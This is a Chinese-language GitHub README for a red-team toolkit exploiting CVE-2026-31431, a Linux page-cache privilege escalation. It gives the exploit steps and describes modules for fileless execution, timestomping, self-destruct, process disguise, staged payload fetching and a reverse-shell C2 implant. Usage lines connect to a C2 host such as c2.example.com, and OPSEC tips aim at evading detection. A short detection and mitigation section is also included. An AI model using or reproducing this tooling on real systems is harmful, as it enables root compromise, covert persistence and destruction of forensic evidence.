toxy4ny/copy-fail-exploit-on-c-redteam

GitHub: toxy4ny/copy-fail-exploit-on-c-redteam

针对 CVE-2026-31431 的强化版 Linux 本地提权利用工具包,通过 AF_ALG/splice 页缓存篡改实现无磁盘修改的 setuid 二进制劫持提权。

Stars: 2 | Forks: 0

# 复制失败 -- CVE-2026-31431 **专为红队和授权渗透测试操作强化的 C 语言实现。** ## 目录 - [概述](#overview) - [原始研究](#original-research) - [我们的改进](#our-improvements) - [架构](#architecture) - [构建](#build) - [使用方法](#usage) - [模块](#modules) - [操作安全](#operational-security) - [检测与缓解](#detection--mitigation) - [致谢](#credits) - [许可证](#license) ## 概述 本项目是 **CVE-2026-31431** ("Copy Fail") 本地提权漏洞利用的强化、生产级 C 语言移植版,该漏洞最初由 **Theori** 和 **Xint** 于 2026 年 4 月 29 日披露。 最初的漏洞概念验证 使用 Python 编写,仅用于研究演示。本实现将其转化为一个 **红队级别工具包**,具备以下特性: - **零磁盘残留** (基于 memfd 的无文件执行) - **自动目标发现** (结合 MAC 感知的 setuid 二进制文件枚举) - **反取证** (缓存清除、时间戳还原、自毁) - **操作员控制** (信号触发执行,带可配置超时) - **跨平台静态构建** (通过 musl/zig 支持 x86_64, ARM64, RISC-V) ## 原始研究 ### CVE-2026-31431: 复制失败 | 属性 | 值 | |-----------|-------| | **披露日期** | 2026 年 4 月 29 日 | | **研究人员** | Theori (Jinoh Kang, Yonghwi Jin, Seunghyun Lee), Xint | | **报告** | [https://copy.fail/](https://copy.fail/) | | **原始 PoC** | [theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431) (Python) | | **C 语言移植版 (基线)** | Tony Gies 开发的 [tgies/copy-fail-c](https://github.com/tgies/copy-fail-c) | | **受影响的内核** | Linux 4.14 -- 6.14 (修复提交 `a664bf3d603d` 之前) | | **严重程度** | CVSS 7.8 (高危) -- 本地提权 | ### 漏洞机制 该漏洞存在于 Linux 内核的 `AF_ALG` 加密子系统中。`authencesn` AEAD 模板针对解密实现了一种**原地优化**:当密文通过 `splice()` 从文件的页缓存提供时,内核会重用同一页面作为源和目标。 攻击流程如下: 1. 以只读方式打开一个 setuid 二进制文件 (例如 `/usr/bin/su`) 2. 通过 `AF_ALG` 设置一个 `authencesn(hmac(sha256),cbc(aes))` AEAD 操作 3. 通过 `splice()` 从目标文件的页缓存中提供密文 4. (失败的) 解密操作在身份验证拒绝之前,覆盖了页缓存页面的 4 个字节 5. 对 payload 的每个 4 字节窗口重复此操作 6. 对目标执行 `execve()` -- 内核从缓存中加载被篡改的页面,并授予 setuid-root 凭据 7. payload 转向获取完整的 root shell **核心要点:** 磁盘上的 inode 从未被修改。只有内存中的页缓存被篡改,这使得取证检测比传统的文件覆盖漏洞利用困难得多。 ## 我们的改进 本项目通过九个模块的**面向红队的强化**扩展了原始研究。 ### 1. 强化的漏洞利用原语 (`patch_chunk.c`) | 特性 | 原版 | 我们的实现 | |---------|----------|-------------------| | 套接字管理 | 每个分块创建新套接字 | **套接字复用** (减少约 60% 的系统调用) | | 验证 | 无 | **mmap + memcmp** 并自动重试 (3 次尝试) | | 并行写入 | 仅限顺序写入 | **基于 Fork 的并行** (最多 16 个进程) | | 错误代码 | 二进制成功/失败 | **粒度细化**:0=已验证,1=已打补丁内核,-1=致命错误 | | 堆内存分配 | 热路径中使用 `malloc` | **仅限栈内存** (无分配抖动) | ### 2. 自动目标发现 (`target_discovery.c`) - **三阶段扫描**:优先目标 → 标准目录 → 深度扫描 - **MAC 感知评分**:对具有 AppArmor/SELinux 配置文件的二进制文件进行惩罚 - **18 个优先目标**:`su`、`sudo`、`passwd`、`pkexec`、`mount`、`ping` 等 - **备用链**:如果主目标失败,自动选择下一个最佳候选 - **Snap 感知**:跳过 `/snap` (非传统的 setuid) ### 3. 反取证套件 (`anti_forensics.c`) | 技术 | 目的 | |-----------|---------| | `posix_fadvise(POSIX_FADV_DONTNEED)` | 单文件页缓存驱逐 | | `echo 3 > /proc/sys/vm/drop_caches` | 全局缓存清除 (获取 root 后) | | `utimensat()` 时间戳伪造 | 恢复原始 atime/mtime | | 自毁 | 在执行前将投递二进制文件用零覆盖 | | 内存擦除 | 使用 `volatile` 将敏感缓冲区清零 | ### 4. 无文件执行 (`memfd_exec.c`) - **memfd_create + fexecve**:无需文件系统路径即可执行 - **伪装**:将 memfd 命名为 `kworker`、`anon_inode`、`eventfd` (混入 `/proc/$pid/fd/` 中) - **Fork 后不管**:双重 fork 创建孤儿进程 (PPID=1) - **内存解密**:XOR 和 RC4 先解密后执行 (payload 在磁盘上从不以明文存在) ### 5. Stage-1 Payload 投递 (`stage1.c`) | 通道 | 隐蔽性 | 速度 | 备用优先级 | |---------|---------|-------|-------------------| | 内置 | 最高 | 即时 | 最后 (物理隔离) | | HTTP 直连 | 中等 | <1s | 首选 | | 系统 curl/wget | 低 | 1-3s | 第二 (支持 HTTPS) | | DNS TXT | 高 | 慢 | 第三 (绕过防火墙) | ### 6. Stage-2 C2 植入 (`stage2_template.c`) - **弹性重连循环** 带有指数退避 - **三种分布**:均匀、三角、指数抖动 - **信号控制**:`SIGUSR1` (触发)、`SIGUSR2` (状态)、`SIGTERM` (关闭) - **DNS 信标**:在 TCP 连接前进行隐蔽的 C2 健康检查 - **进程伪装**:在 `ps`/`top` 中显示为 `[kworker/N:0]` ### 7. 进程隐藏 (`proc_hide.c`) - **argv[0] 覆盖**:原地替换 `/proc/$pid/cmdline` - **prctl(PR_SET_NAME)**:内核线程风格名称 (16 字节限制) - **环境变量清理**:选择性擦除 `SSH_*`、`AWS_*`、`TOKEN*` 等 - **父进程脱离**:使用 `setsid()` + `setpgid()` 实现终端独立 ### 8. 信号触发控制 (`signal_trigger.c`) | 模式 | 行为 | 用例 | |------|----------|----------| | `trigger_oneshot()` | 睡眠 → 触发 → 执行 → 退出 | 打完就跑 | | `trigger_daemon()` | 睡眠 → 触发 → 执行 → 循环 | 持久化植入 | | `trigger_auto()` | 带有超时回退的睡眠 | 无人值守操作 | **零 CPU 等待**:使用 `sigsuspend()` 而非轮询循环。 ### 9. 睡眠抖动 (`sleep_jitter.c`) - **三种 RNG 后端**:`getrandom(2)`、`/dev/urandom`、`rdtsc` 回退 - **拒绝采样**:消除均匀分布中的取模偏差 - **漂移补偿**:`sleep_scheduled()` 在抖动下维持平均间隔 - **沙箱检测**:`check_sandbox_acceleration()` 检测被篡改的 `sleep()` ## 架构 ``` ┌─────────────────────────────────────────────────────────────┐ │ exploit.c (Orchestrator) │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ │ │ Hide │ │Discover │ │ Exploit │ │ Cleanup │ │ │ │ Process │ │ Target │ │ │ │ │ │ │ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘ │ │ │ │ │ │ │ │ ▼ ▼ ▼ ▼ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Core Module Layer │ │ │ │ patch_chunk.c target_discovery.c anti_forensics.c │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ │ │ │ │ ▼ ▼ ▼ ▼ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Delivery & Evasion Layer │ │ │ │ stage1.c memfd_exec.c proc_hide.c │ │ │ │ signal_trigger.c sleep_jitter.c │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ │ │ │ │ │ ▼ ▼ ▼ ▼ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ Payload Layer (Stage-2) │ │ │ │ stage2_template.c (reverse shell / C2 implant) │ │ │ └─────────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────┘ ``` ## 构建 ### 依赖条件 - GCC 或 Clang - GNU Make - Linux headers (`linux-libc-dev` 或等效包) - 可选:`musl-tools` (用于极小的静态构建) - 可选:`zig` (用于现代交叉编译) - 可选:`dpkg-deb` (用于 Debian 打包) ### 快速开始 ``` # 标准 redteam 构建 (optimized, stripped, static) make redteam # Pentest 构建 (symbols, moderate optimization) make pentest # Debug 构建 (ASAN, full symbols) make debug # 漏洞检查器 (non-destructive) make checker ``` ### 交叉编译 ``` # ARM64 (AWS/Azure 云目标) make cross-arm64 # RISC-V make cross-riscv # ARM HF (embedded/IoT) make cross-armhf # Zig cross-compile (无 toolchain 安装) make cross-zig-arm64 make cross-zig-riscv ``` ### musl 静态构建 (精简二进制文件) ``` make musl-static # 生成约 50-100 KB 的 static binaries,零 glibc 依赖 ``` ### Debian 软件包 ``` make deb VERSION=1.0.0 # 生成: build/deb/copy-fail-cve-2026-31431-1.0.0.deb ``` ### 构建信息 ``` make info # 显示: CC, CFLAGS, LDFLAGS, 架构, toolchain 可用性 ``` ## 使用方法 ### 标准模式 (信号触发) ``` # 部署 implant ./exploit & IMP_PID=$! # 远程触发漏洞利用 kill -USR1 $IMP_PID # 请求状态 (无操作) kill -USR2 $IMP_PID # Graceful shutdown kill -TERM $IMP_PID ``` ### 立即执行 ``` ./exploit -t # Trigger now, no signal wait ./exploit -t -c c2.example.com -p 9999 ``` ### 自定义配置 ``` ./exploit \ -c c2.redteam.internal \ # C2 hostname -p 4444 \ # C2 port -d 300 \ # 5-minute initial delay -T 7200 \ # 2-hour trigger timeout -n # Skip vulnerability verification ``` ### 非破坏性漏洞检测 ``` ./vulnerable # Exit code: 100 = 漏洞存在, 0 = 已修补, 其他 = 错误 ``` ## 模块 | 模块 | 文件 | 目的 | |--------|---------|---------| | **漏洞利用原语** | `patch_chunk.c/h` | AF_ALG/splice 页缓存篡改 | | **目标发现** | `target_discovery.c/h` | 自动扫描并评分 setuid 二进制文件 | | **反取证** | `anti_forensics.c/h` | 清理、时间戳伪造、自毁 | | **Stage-1 投递** | `stage1.c/h` | 无文件 payload 获取与执行 | | **Stage-2 C2** | `stage2_template.c/h` | 带重连循环的反向 shell | | **memfd 执行** | `memfd_exec.c/h` | 匿名文件执行原语 | | **进程隐藏** | `proc_hide.c/h` | argv/cmdline/comm 伪装 | | **信号控制** | `signal_trigger.c/h` | 操作员触发的执行 | | **睡眠抖动** | `sleep_jitter.c/h` | 带分布算法的随机延迟 | | **编排器** | `exploit.c` | 主入口点与协调 | | **检测器** | `vulnerable.c` | 非破坏性漏洞探测 | ## 操作安全 ### 红队最佳实践 1. **在低活跃度时段部署**以将关联性降至最低 2. **使用指数抖动**作为重连间隔 (规避信标检测) 3. **通过 SIGUSR1 触发**而非自动触发 (操作员保持控制) 4. **始终执行清理** (`full_cleanup`),即使漏洞利用失败 5. **优先选择 memfd 执行**而非基于磁盘的 payload 6. **双重 fork 实现持久化** (`memfd_fork_exec_detach`) 7. **在执行前监控沙箱加速** ### 取证残留物 | 残留物 | 位置 | 缓解措施 | |----------|----------|------------| | 被篡改的页缓存 | 仅限内存 | `drop_page_cache_for_file()` | | 二进制路径 | `/proc/$pid/exe` | memfd (显示为 `(deleted)`) | | 命令行 | `/proc/$pid/cmdline` | `overwrite_argv()` | | 进程名 | `/proc/$pid/comm` | `prctl(PR_SET_NAME)` | | 时间戳 | 目标上的 `stat()` | `timestomp_file()` | | 投递二进制文件 | 磁盘上 | `self_destruct_and_exec()` | | 网络连接 | `netstat`、EDR | DNS 信标、抖动 | ## 检测与缓解 ### 防御性检测 | 指标 | 检测方法 | |-----------|-----------------| | `AF_ALG` 套接字 + `splice()` 模式 | eBPF 系统调用追踪 | | 具有可疑名称的 memfd_create | `/proc/$pid/fd/` 监控 | | 用户空间中带括号的进程名 | 进程异常检测 | | 定期向单一域名发起的 DNS 查询 | DNS 分析 | | 页缓存完整性不匹配 | 内核内存取证 | ### 缓解措施 1. **内核补丁**:升级到包含提交 `a664bf3d603d 的 Linux >= 6.14 2. **实时补丁**:应用发行版特定的向后移植补丁 3. **SELinux/AppArmor**:强制执行 setuid 二进制文件的配置文件 4. **eBPF 监控**:追踪 `AF_ALG` + `splice()` 组合 5. **页缓存验证**:对关键二进制文件进行定期完整性检查 ## 致谢 ### 原始研究 - **[Theori](https://theori.io/)** -- Jinoh Kang, Yonghwi Jin, Seunghyun Lee - **[Xint](https://xint.ai/)** -- 合作披露 - **报告**:[https://copy.fail/](https://copy.fail/) - **原始 PoC**:[theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431) ### 基线 C 语言移植版 - **[Tony Gies](https://github.com/tgies)** -- `tgies/copy-fail-c` - 使用 `nolibc` 提供了基础性的 C 语言实现 - 跨平台系统调用包装器和构建基础设施 ### 本强化分支 - 跨越 9 个模块的**面向红队的强化** - **操作安全**特性 (反取证、规避、隐蔽) - **跨编译**支持 (musl、zig、多架构) - **基于信号的操作员控制**和可配置的执行模式 ### 鸣谢 - 感谢 Linux 内核开发者提供 `memfd_create(2)` 和 `fexecve(3)` - 感谢 `nolibc` 维护者提供仅头文件的 libc 替代方案 - 感谢 musl libc 项目提供极小的静态二进制文件 - 感谢 Zig 项目提供现代交叉编译工具链 ## 许可证 本项目采用双重许可: - **LGPL-2.1-or-later** - **MIT** 有关 SPDX 标识符,请参阅各个源文件。 原始研究和基线 C 语言移植版仍保留其各自的许可证。此分支的额外代码按上述双重许可证提供,以最大限度地兼容开源和商业安全研究用例。 ## 免责声明 本软件仅适用于**授权安全研究和授权渗透测试**。作者对因滥用本软件或由本软件造成的损害不承担任何责任。在对您不拥有的任何系统进行测试之前,请务必获得适当的授权。 **如果您在您的系统上发现了此漏洞:** - 应用内核补丁 (提交 `a664bf3d603d` 或发行版向后移植补丁) - 监控上面列出的妥协指标 - 检查 `/var/log/audit/` 和 EDR 遥测数据以查找 `AF_ALG` 异常
标签:AF_ALG, ARM64, CVE-2026-31431, DNS 反向解析, Docker镜像, Linux内核漏洞, Page Cache Mutation, Raspberry Pi, RedTeam, RISC-V, Web报告查看器, x86_64, 代码安全, 内存执行, 内存损坏, 内核利用, 协议分析, 反取证, 子域名变形, 子域名枚举, 安全渗透, 安全评估, 客户端加密, 提权漏洞, 无文件执行, 本地提权, 权限提升, 漏洞枚举, 系统安全, 网络安全, 隐私保护, 静态编译